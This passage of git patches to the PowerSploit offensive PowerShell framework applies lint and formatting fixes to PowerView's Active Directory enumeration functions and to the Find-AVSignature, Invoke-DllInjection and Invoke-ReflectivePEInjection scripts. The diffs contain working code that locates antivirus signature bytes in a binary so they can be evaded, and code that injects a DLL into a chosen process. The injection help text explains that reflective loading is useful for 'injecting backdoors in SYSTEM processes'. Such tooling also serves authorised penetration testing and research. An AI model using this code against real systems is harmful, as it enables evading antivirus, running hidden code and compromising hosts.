[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])] [CmdletBinding()] Param( @@ -4555,6 +4578,7 @@ PowerView.User.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.User')] [OutputType('PowerView.User.Raw')] @@ -4733,7 +4757,12 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } $User } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" + } + } $UserSearcher.dispose() } } @@ -4825,6 +4854,7 @@ DirectoryServices.AccountManagement.UserPrincipal http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] Param( @@ -4968,6 +4998,7 @@ DirectoryServices.AccountManagement.UserPrincipal http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] Param( @@ -5387,7 +5418,12 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- $Results | Where-Object {$_} | ForEach-Object { $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } + } $SchemaSearcher.dispose() } catch { @@ -5405,7 +5441,12 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- $Results | Where-Object {$_} | ForEach-Object { $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } + } $RightsSearcher.dispose() } catch { @@ -5761,7 +5802,12 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Computer } } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" + } + } $CompSearcher.dispose() } } @@ -5900,6 +5946,7 @@ PowerView.ADObject.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.ADObject')] [OutputType('PowerView.ADObject.Raw')] [CmdletBinding()] @@ -6044,7 +6091,12 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } $Object } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" + } + } $ObjectSearcher.dispose() } } @@ -7622,7 +7674,12 @@ Custom PSObject with translated OU property fields. $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') $OU } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_" + } + } $OUSearcher.dispose() } } @@ -7876,7 +7933,12 @@ Custom PSObject with translated site property fields. $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site') $Site } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainSite] Error disposing of the Results object" + } + } $SiteSearcher.dispose() } } @@ -8137,7 +8199,12 @@ Custom PSObject with translated subnet property fields. $Subnet } } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_" + } + } $SubnetSearcher.dispose() } } @@ -8411,6 +8478,7 @@ Custom PSObject with translated group property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.Group')] [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] Param( @@ -8595,7 +8663,12 @@ Custom PSObject with translated group property fields. $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') $Group } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" + } + } $GroupSearcher.dispose() } } @@ -8667,6 +8740,7 @@ Creates the 'TestGroup' group with the specified description using the specified DirectoryServices.AccountManagement.GroupPrincipal #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('DirectoryServices.AccountManagement.GroupPrincipal')] Param( @@ -9137,6 +9211,7 @@ http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of- #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.GroupMember')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( @@ -10117,7 +10192,12 @@ A custom PSObject describing the distributed file systems. } } } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_" + } + } $DFSSearcher.dispose() if ($pkt -and $pkt[0]) { @@ -10194,7 +10274,12 @@ A custom PSObject describing the distributed file systems. } } } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" + } + } $DFSSearcher.dispose() } catch { @@ -10601,6 +10686,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.GPO')] [OutputType('PowerView.GPO.Raw')] [CmdletBinding(DefaultParameterSetName = 'None')] @@ -10870,7 +10956,12 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } $GPO } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" + } + } $GPOSearcher.dispose() } } @@ -17457,7 +17548,12 @@ Custom PSObject with translated domain API trust result fields. $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') $DomainTrust } - try { $Results.dispose() } catch {} + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_" + } + } $TrustSearcher.dispose() } } From 7cdaa3c2d6afbaaaf10804435e873e14698f40b9 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 16:17:00 -0500 Subject: [PATCH 219/296] For ./Antivirus/ : -PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs --- AntivirusBypass/Find-AVSignature.ps1 | 172 +++++++++++------------ docs/AntivirusBypass/Find-AVSignature.md | 158 +++++++++++++++++++++ mkdocs.yml | 3 + 3 files changed, 247 insertions(+), 86 deletions(-) create mode 100755 docs/AntivirusBypass/Find-AVSignature.md diff --git a/AntivirusBypass/Find-AVSignature.ps1 b/AntivirusBypass/Find-AVSignature.ps1 index d2487b3e..05cd9690 100644 --- a/AntivirusBypass/Find-AVSignature.ps1 +++ b/AntivirusBypass/Find-AVSignature.ps1 @@ -5,11 +5,11 @@ function Find-AVSignature Locate tiny AV signatures. -PowerSploit Function: Find-AVSignature -Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Find-AVSignature +Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -37,19 +37,19 @@ Optionally specifies the directory to write the binaries to. .PARAMETER BufferLen -Specifies the length of the file read buffer . Defaults to 64KB. +Specifies the length of the file read buffer . Defaults to 64KB. .PARAMETER Force -Forces the script to continue without confirmation. +Forces the script to continue without confirmation. .EXAMPLE -PS C:\> Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe -PS C:\> Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose -PS C:\> Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose -PS C:\> Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose -PS C:\> Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose +Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe +Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose +Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose +Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose +Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose .NOTES @@ -63,10 +63,12 @@ http://www.exploit-monday.com/ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2 #> - [CmdletBinding()] Param( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( [Parameter(Mandatory = $True)] [ValidateRange(0,4294967295)] - [UInt32] + [UInt32] $StartByte, [Parameter(Mandatory = $True)] @@ -75,23 +77,21 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2 [Parameter(Mandatory = $True)] [ValidateRange(0,4294967295)] - [UInt32] + [UInt32] $Interval, [String] - [ValidateScript({Test-Path $_ })] + [ValidateScript({Test-Path $_ })] $Path = ($pwd.path), [String] $OutPath = ($pwd), - - - [ValidateRange(1,2097152)] - [UInt32] - $BufferLen = 65536, - + + [ValidateRange(1,2097152)] + [UInt32] + $BufferLen = 65536, + [Switch] $Force - ) #test variables @@ -99,88 +99,88 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2 $Response = $True if (!(Test-Path $OutPath)) { if ($Force -or ($Response = $psCmdlet.ShouldContinue("The `"$OutPath`" does not exist! Do you want to create the directory?",""))){new-item ($OutPath)-type directory} - } + } if (!$Response) {Throw "Output path not found"} if (!(Get-ChildItem $Path).Exists) {Throw "File not found"} [Int32] $FileSize = (Get-ChildItem $Path).Length if ($StartByte -gt ($FileSize - 1) -or $StartByte -lt 0) {Throw "StartByte range must be between 0 and $Filesize"} [Int32] $MaximumByte = (($FileSize) - 1) if ($EndByte -ceq "max") {$EndByte = $MaximumByte} - - #Recast $Endbyte into an Integer so that it can be compared properly. - [Int32]$EndByte = $EndByte - - #If $Endbyte is greater than the file Length, use $MaximumByte. + + #Recast $Endbyte into an Integer so that it can be compared properly. + [Int32]$EndByte = $EndByte + + #If $Endbyte is greater than the file Length, use $MaximumByte. if ($EndByte -gt $FileSize) {$EndByte = $MaximumByte} - - #If $Endbyte is less than the $StartByte, use 1 Interval past $StartByte. - if ($EndByte -lt $StartByte) {$EndByte = $StartByte + $Interval} - Write-Verbose "StartByte: $StartByte" - Write-Verbose "EndByte: $EndByte" - + #If $Endbyte is less than the $StartByte, use 1 Interval past $StartByte. + if ($EndByte -lt $StartByte) {$EndByte = $StartByte + $Interval} + + Write-Verbose "StartByte: $StartByte" + Write-Verbose "EndByte: $EndByte" + #find the filename for the output name [String] $FileName = (Split-Path $Path -leaf).Split('.')[0] #Calculate the number of binaries [Int32] $ResultNumber = [Math]::Floor(($EndByte - $StartByte) / $Interval) if (((($EndByte - $StartByte) % $Interval)) -gt 0) {$ResultNumber = ($ResultNumber + 1)} - + #Prompt user to verify parameters to avoid writing binaries to the wrong directory $Response = $True if ( $Force -or ( $Response = $psCmdlet.ShouldContinue("This script will result in $ResultNumber binaries being written to `"$OutPath`"!", "Do you want to continue?"))){} if (!$Response) {Return} - - Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"." + + Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"." [Int32] $Number = [Math]::Floor($Endbyte/$Interval) - - #Create a Read Buffer and Stream. - #Note: The Filestream class takes advantage of internal .NET Buffering. We set the default internal buffer to 64KB per http://research.microsoft.com/pubs/64538/tr-2004-136.doc. - [Byte[]] $ReadBuffer=New-Object byte[] $BufferLen - [System.IO.FileStream] $ReadStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, $BufferLen) - - #write out the calculated number of binaries - [Int32] $i = 0 - for ($i -eq 0; $i -lt $ResultNumber + 1 ; $i++) - { - # If this is the Final Binary, use $EndBytes, Otherwise calculate based on the Interval - if ($i -eq $ResultNumber) {[Int32]$SplitByte = $EndByte} - else {[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))} - - Write-Verbose "Byte 0 -> $($SplitByte)" - - #Reset ReadStream to beginning of file - $ReadStream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null - - #Build a new FileStream for Writing - [String] $outfile = Join-Path $OutPath "$($FileName)_$($SplitByte).bin" - [System.IO.FileStream] $WriteStream = New-Object System.IO.FileStream($outfile, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None, $BufferLen) - - [Int32] $BytesLeft = $SplitByte - Write-Verbose "$($WriteStream.name)" - - #Write Buffer Length to the Writing Stream until the bytes left is smaller than the buffer - while ($BytesLeft -gt $BufferLen){ - [Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BufferLen) - $WriteStream.Write($ReadBuffer, 0, $count) - $BytesLeft = $BytesLeft - $count - } - - #Write the remaining bytes to the file - do { - [Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BytesLeft) - $WriteStream.Write($ReadBuffer, 0, $count) - $BytesLeft = $BytesLeft - $count - } - until ($BytesLeft -eq 0) - $WriteStream.Close() - $WriteStream.Dispose() + + #Create a Read Buffer and Stream. + #Note: The Filestream class takes advantage of internal .NET Buffering. We set the default internal buffer to 64KB per http://research.microsoft.com/pubs/64538/tr-2004-136.doc. + [Byte[]] $ReadBuffer=New-Object byte[] $BufferLen + [System.IO.FileStream] $ReadStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, $BufferLen) + + #write out the calculated number of binaries + [Int32] $i = 0 + for ($i -eq 0; $i -lt $ResultNumber + 1 ; $i++) + { + # If this is the Final Binary, use $EndBytes, Otherwise calculate based on the Interval + if ($i -eq $ResultNumber) {[Int32]$SplitByte = $EndByte} + else {[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))} + + Write-Verbose "Byte 0 -> $($SplitByte)" + + #Reset ReadStream to beginning of file + $ReadStream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null + + #Build a new FileStream for Writing + [String] $outfile = Join-Path $OutPath "$($FileName)_$($SplitByte).bin" + [System.IO.FileStream] $WriteStream = New-Object System.IO.FileStream($outfile, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None, $BufferLen) + + [Int32] $BytesLeft = $SplitByte + Write-Verbose "$($WriteStream.name)" + + #Write Buffer Length to the Writing Stream until the bytes left is smaller than the buffer + while ($BytesLeft -gt $BufferLen){ + [Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BufferLen) + $WriteStream.Write($ReadBuffer, 0, $count) + $BytesLeft = $BytesLeft - $count + } + + #Write the remaining bytes to the file + do { + [Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BytesLeft) + $WriteStream.Write($ReadBuffer, 0, $count) + $BytesLeft = $BytesLeft - $count } - Write-Verbose "Files written to disk. Flushing memory." - $ReadStream.Dispose() - - #During testing using large binaries, memory usage was excessive so lets fix that - [System.GC]::Collect() - Write-Verbose "Completed!" + until ($BytesLeft -eq 0) + $WriteStream.Close() + $WriteStream.Dispose() + } + Write-Verbose "Files written to disk. Flushing memory." + $ReadStream.Dispose() + + #During testing using large binaries, memory usage was excessive so lets fix that + [System.GC]::Collect() + Write-Verbose "Completed!" } diff --git a/docs/AntivirusBypass/Find-AVSignature.md b/docs/AntivirusBypass/Find-AVSignature.md new file mode 100755 index 00000000..16061541 --- /dev/null +++ b/docs/AntivirusBypass/Find-AVSignature.md @@ -0,0 +1,158 @@ +# Find-AVSignature + +## SYNOPSIS +Locate tiny AV signatures. + +PowerSploit Function: Find-AVSignature +Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Find-AVSignature [-StartByte] [-EndByte] [-Interval] [[-Path] ] + [[-OutPath] ] [[-BufferLen] ] [-Force] +``` + +## DESCRIPTION +Locates single Byte AV signatures utilizing the same method as DSplit from "class101" on heapoverflow.com. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe +``` + +Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose +Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose +Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose +Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose + +## PARAMETERS + +### -StartByte +Specifies the first byte to begin splitting on. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -EndByte +Specifies the last byte to split on. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Interval +Specifies the interval size to split with. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: + +Required: True +Position: 3 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Path +Specifies the path to the binary you want tested. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: ($pwd.path) +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OutPath +Optionally specifies the directory to write the binaries to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: ($pwd) +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -BufferLen +Specifies the length of the file read buffer . +Defaults to 64KB. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: 65536 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Force +Forces the script to continue without confirmation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +Several of the versions of "DSplit.exe" available on the internet contain malware. + +## RELATED LINKS + +[http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html +https://github.com/mattifestation/PowerSploit +http://www.exploit-monday.com/ +http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2](http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html +https://github.com/mattifestation/PowerSploit +http://www.exploit-monday.com/ +http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2) + diff --git a/mkdocs.yml b/mkdocs.yml index 8b78d987..f18c6446 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -119,3 +119,6 @@ pages: - Invoke-WScriptUACBypass: 'Privesc/Invoke-WScriptUACBypass.md' - Invoke-PrivescAudit: 'Privesc/Invoke-PrivescAudit.md' - Get-System: 'Privesc/Get-System.md' +- AntiVirus: + - Functions: + - Find-AVSignature: 'AntivirusBypass/Find-AVSignature.md' From 1980f403ee78234eae4d93b50890d02f827a099f Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 17:50:37 -0500 Subject: [PATCH 220/296] For ./CodeExecution/ : -PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs --- CodeExecution/Invoke-DllInjection.ps1 | 60 +- .../Invoke-ReflectivePEInjection.ps1 | 5333 ++++++++--------- CodeExecution/Invoke-Shellcode.ps1 | 131 +- CodeExecution/Invoke-WmiCommand.ps1 | 11 +- docs/CodeExecution/Invoke-DllInjection.md | 79 + .../Invoke-ReflectivePEInjection.md | 300 + docs/CodeExecution/Invoke-Shellcode.md | 116 + docs/CodeExecution/Invoke-WmiCommand.md | 311 + mkdocs.yml | 6 + 9 files changed, 3578 insertions(+), 2769 deletions(-) create mode 100755 docs/CodeExecution/Invoke-DllInjection.md create mode 100755 docs/CodeExecution/Invoke-ReflectivePEInjection.md create mode 100755 docs/CodeExecution/Invoke-Shellcode.md create mode 100755 docs/CodeExecution/Invoke-WmiCommand.md diff --git a/CodeExecution/Invoke-DllInjection.ps1 b/CodeExecution/Invoke-DllInjection.ps1 index 369d606a..d23e9894 100644 --- a/CodeExecution/Invoke-DllInjection.ps1 +++ b/CodeExecution/Invoke-DllInjection.ps1 @@ -5,15 +5,19 @@ function Invoke-DllInjection Injects a Dll into the process ID of your choosing. -PowerSploit Function: Invoke-DllInjection -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Invoke-DllInjection +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION Invoke-DllInjection injects a Dll into an arbitrary process. +It does this by using VirtualAllocEx to allocate memory the size of the +DLL in the remote process, writing the names of the DLL to load into the +remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread +to invoke LoadLibraryA in the context of the remote process. .PARAMETER ProcessID @@ -40,6 +44,8 @@ Use the '-Verbose' option to print detailed information. http://www.exploit-monday.com #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] Param ( [Parameter( Position = 0, Mandatory = $True )] [Int] @@ -59,7 +65,7 @@ http://www.exploit-monday.com { Throw "Process does not exist!" } - + # Confirm that the path to the dll exists try { @@ -79,11 +85,11 @@ http://www.exploit-monday.com Param ( [OutputType([Type])] - + [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), - + [Parameter( Position = 1 )] [Type] $ReturnType = [Void] @@ -98,7 +104,7 @@ http://www.exploit-monday.com $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') - + Write-Output $TypeBuilder.CreateType() } @@ -107,11 +113,11 @@ http://www.exploit-monday.com Param ( [OutputType([IntPtr])] - + [Parameter( Position = 0, Mandatory = $True )] [String] $Module, - + [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure @@ -128,7 +134,7 @@ http://www.exploit-monday.com $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - + # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } @@ -142,43 +148,43 @@ http://www.exploit-monday.com [String] $Path ) - + # Parse PE header to see if binary was compiled 32 or 64-bit $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) - + [Byte[]] $MZHeader = New-Object Byte[](2) $FileStream.Read($MZHeader,0,2) | Out-Null - + $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) if ($Header -ne 'MZ') { $FileStream.Close() Throw 'Invalid PE header.' } - + # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null - + [Byte[]] $lfanew = New-Object Byte[](4) - + # Read offset to the PE Header (will be read in reverse) $FileStream.Read($lfanew,0,4) | Out-Null - $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) - + $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join '')) + # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) - + # Read compiled architecture $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null - $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') + $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '') $FileStream.Close() - + if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { Throw 'Invalid PE header or unsupported architecture.' } - + if ($Architecture -eq '014C') { Write-Output 'X86' @@ -193,7 +199,7 @@ http://www.exploit-monday.com } } - + # Get addresses of and declare delegates for essential Win32 functions. $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) @@ -307,7 +313,7 @@ http://www.exploit-monday.com { Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))" } - + $VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000) # Close process handle @@ -317,7 +323,7 @@ http://www.exploit-monday.com # Extract just the filename from the provided path to the dll. $FileName = (Split-Path $Dll -Leaf).ToLower() - $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.ToLower().Contains($FileName) } + $DllInfo = (Get-Process -Id $ProcessID).Modules | Where-Object { $_.FileName.ToLower().Contains($FileName) } if (!$DllInfo) { diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 42900fbc..c756dd99 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -3,8 +3,8 @@ function Invoke-ReflectivePEInjection <# .SYNOPSIS -This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, -or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, +This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, +or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, please lead the Notes section (GENERAL NOTES) for information on how to use them. 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. @@ -17,15 +17,15 @@ this will load and execute the DLL/EXE in to memory without writing any files to As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output -from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the -remote process. +from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the +remote process. -PowerSploit Function: Invoke-ReflectivePEInjection -Author: Joe Bialek, Twitter: @JosephBialek -Code review and modifications: Matt Graeber, Twitter: @mattifestation -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Invoke-ReflectivePEInjection +Author: Joe Bialek, Twitter: @JosephBialek +Code review and modifications: Matt Graeber, Twitter: @mattifestation +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -42,13 +42,13 @@ Optional, an array of computernames to run the script on. .PARAMETER FuncReturnType Optional, the return type of the function being called in the DLL. Default: Void - Options: String, WString, Void. See notes for more information. - IMPORTANT: For DLLs being loaded remotely, only Void is supported. - + Options: String, WString, Void. See notes for more information. + IMPORTANT: For DLLs being loaded remotely, only Void is supported. + .PARAMETER ExeArgs Optional, arguments to pass to the executable being reflectively loaded. - + 